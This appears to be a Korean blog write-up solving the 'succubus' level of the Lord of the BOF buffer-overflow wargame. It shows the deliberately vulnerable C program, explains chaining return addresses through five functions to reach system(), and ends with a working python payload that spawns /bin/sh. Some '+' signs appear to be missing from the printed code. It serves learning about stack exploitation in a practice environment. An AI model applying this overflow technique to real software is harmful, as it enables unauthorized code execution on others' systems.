LOB zombie_assassin -> succubus
by St1tch
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1] 44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer 48 100, 0, 0xbfffffff - (int)(buffer 48 100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
코드를 보면 MO까지 갔을때 전역변수 check가 4일때 system함수를 사용할 수 있게 되어있다.
MO까지 가려면 DO->GYE->GUL->YUT함수를 순서대로 거쳐서 check를 4를 만든 후 MO함수가 실행되어야한다.
또한 조건에서 공유라이브러리를 사용하지못하고, 스택또한 제한적으로 사용할 수 있다.
그리고 ret는 DO함수의 주소가 아니면 종료되도록 되어있다.
따라서 main함수 종료 -> DO함수 -> GYE함수 -> GUL함수 -> YUT함수 -> MO함수 -> system함수(쉘획득) 이 순서대로 가게끔 익스플로잇을 작성했다.
일단 스택의 구조를 살펴보면 간단하다.
이런식으로 buf를 채워주면 된다.
함수가 간단하기 때문에 바로바로 이어서 다음 함수의 주소를 넣어주면 된다.
마지막에서 system함수에 문자열 "/bin/sh"의 주소를 넣어주면 공격에 성공한다.
우선 gdb를 통해 각 함수의 주소를 구했다.
그리고 익스플로잇을 작성한 뒤 "/bin/sh"의 주소를 알기위해 대신에 "BBBB"를 넣어서 실행을 시킨 뒤 core파일을 확인했다.
BBBB뒤에 "/bin/sh"가 있기 때문에 0xbffffc48이 문자열의 주소이다.
이제 익스플로잇을 위한 모든정보를 획득했기 때문에 쉘을 획득할 수 있었다.
`python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "A"*4 + "\x48\xfc\xff\xbf" + "/bin/sh"'`
블로그의 정보
튜기's blogg(st1tch)
St1tch